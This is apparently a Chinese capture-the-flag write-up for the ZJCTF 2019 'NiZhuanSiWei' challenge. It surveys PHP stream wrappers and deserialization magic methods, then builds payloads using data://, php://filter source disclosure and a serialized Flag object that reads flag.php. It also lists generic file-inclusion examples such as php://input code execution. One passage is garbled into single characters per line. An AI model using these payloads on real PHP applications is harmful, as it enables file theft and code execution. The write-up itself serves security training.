[ZJCTF 2019]NiZhuanSiWei
首先根据连接打开得到一个,PHP源码:
根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传一个文件,并且文件内容要是welcome to the zjctf,才能进行下一步
这里涉及到一些PHP为协议:
两个配置 PHP.ini all_url_include在php 5.2以后添加,安全方便的设置(php的默认设置)为: allow_url_fopen=on; 允许url里的封装协议访问文件 allow_url_include=off; 不允许url里的封装协议包含文件
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
php://filter
利用:是php中独有的一个协议,可以作为一个中间过滤器来处理目标数据流,可以进行任意文件的读取,且该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,相当于可构造多个过滤器。
条件: 读,开启 allow_url_fopen,不需要开启 allow_url_include; 写,则要两者都开启。
示例: ?file=php://filter/read=convert.base64-encode/resource=xxx
php://input
利用:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。 通俗一点讲就是,php://input作为被包含的参数时,也是文件包含,不过是包含的对象是post的数据,而post的数据为用户所传入,所以也相当于任意命令执行。
条件: allow_url_fopen:off/on allow_url_include:On
值得注意的是,这是在传输过程中去包含,也就是向当前页面写入php代码
示例: ?file=php://input post: <?php phpinfo();?>
注:当enctype=”multipart/form-data”时,php://input是无效的,这是数据传输方式发送改变造成的。
zip:// & bzip2:// & zlib://
zip:// 条件: allow_url_fopen:off/on allow_url_include :off/on 利用: zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的文件,不需要指定后缀名,可修改为任意后缀:jpg,png,gif等等,但是需要绝对路径。 示例: 将<?php phpinfo();?>写入phpinfo.txt ,然后压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg (任意后缀名),并上传根目录
?file=zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] (%23为#的url编码,这里只能用%23)
data://
条件: allow_url_fopen: on allow_url_include: on 利用: data://数据流封装器,以传递指定格式的数据,可以用来执行PHP代码。 示例: /?file=data://text/plain,[执行的php代码]
其它利用示例: /?file=data://text/plain;base64,[base64加密的php代码]
http:// & https://
条件: allow_url_fopen: on allow_url_include: on 利用: 常用于远程包含,?file=http://xxx.xxx.xxx.xxx/xxx
这里呢,因为给出的参数是text,于是就想到data协议,于是我们就 利用payload:
text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=
测试一下得到:
发现成功执行,然后进到下一个条件,下一个条件是,检查file 传进来的参数是否有flag,有的话,就输出Not now ,然后退出 程序,没有的话就进入下面的命令。
所以我们,我们传入的值不能含有flag,发现旁边备注useless.php文件 利用file查看一下,利用php://filter, payload:
?text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=& file=php://filter/read=convert.base64-encode/resource=useless.php
得到:
解码得到:
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
可以看到这个PHP源码,对源码进行分析,可以知道,它定义了一个 叫做Flag的类,里面含有一个一叫: _tostring()的魔术方法 里面执行了文件包含,所以我们就可以在这利用这个点查看 flag.php文件。
这里涉及了一些反序列化的知识点:
首先要理解什么是序列化: 序列化就是把对象转化为可传输的字节序列过程称为序列化。
反序列化: 反序列化就是把字节序转化为对象的过程
列:
这里我们定一了一个类,将它用serialize()序列化话后得到 O:4:“flag”:1:{s:4:“flag”;s:5:“world”;} 的字节序列,并且这个类 成功的调用__construct()的魔术放法(该方法是当对象创建完成后调用) 输出success
然后,我们在对在对O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}进行反序列化 得到:
这里可以看到我们调用了,反序列化函数unserialize(),成功的将字节序列 创建了一个对象,并调用了__wakeup()函数。 这就是反序列化的一个过程。 其中这里的:O:4:“flag”:1:{s:4:“flag”;s:5:“world”;} O 代表 类名flag 4 代表 类名有四个字符 1 代表有一个属性 s 代表属性是字符类型 4 代表有四个字符(也可以是int型用i,数组型用列: a:1{i:1;s:1:“a”},NULL型用N,布尔型:b:0)
类当中属于的访问控制修饰符不通,序列化后的属性长度和属性值也会不同。
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。 列:O:4:“flag”:1:{s:4:“flag”;s:8:"%00*%00world";}
private属性被序列化后属性名会变成%00类名%00属性名。 列:O:4:“flag”:1:{s:4:“flag”;s:11:"%00flag%00world";}
常用魔术方法:
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
触发示例 __wakeup() unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
__sleep() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
__destruct() 对象销毁时触发
__call() 在对象中调用一个不可访问方法时,__call() 会被调用。 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
n
a
m
e
参
数
是
要
调
用
的
方
法
名
称
。
name 参数是要调用的方法名称。
name参数是要调用的方法名称。arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
__toString() 将类作为字符串处理时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发,本特性只在 PHP 5.3.0 及以上版本有效。
属性重载 public __set ( string $name , mixed $value ) : void public __get ( string $name ) : mixed public __isset ( string $name ) : bool public __unset ( string $name ) : void 在给不可访问属性赋值时,__set() 会被调用。 读取不可访问属性的值时,__get() 会被调用。 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。 当对不可访问属性调用 unset() 时,__unset() 会被调用。
__get() 读取不存在的变量时触发,且 __get() 的参数为变量名。
__set() 在给不可访问属性赋值时,__set() 会被调用。
__isset() 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
可以看到输出的 name 就是函数里的参数(不存在的属性名)
__unset() 当对不可访问属性调用 unset() 时,__unset() 会被调用。 参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。
所以这里我们能明确的知道有一个:__tostring()魔术方法 另外我们知道这个方法是要当类做为字符串输出时触发,而且 前面源码有:echo $password;而且$password被反序列化, 所以我们就传一个字节序列进去,又因为__tostring()魔术方法 调用了文件包含函数:file_get_contents($this->file);并输出了 里面的内容,所以我们利用这点,给file传flag.php然后我们就能 让它输出里面的内容啦
所以我们的字节序列是: password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
所以我们的payload:
text=data://text/plant;base64,d2VsY29tZSB0byB0aGUgempjdGY=& file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
然后得到flag:
|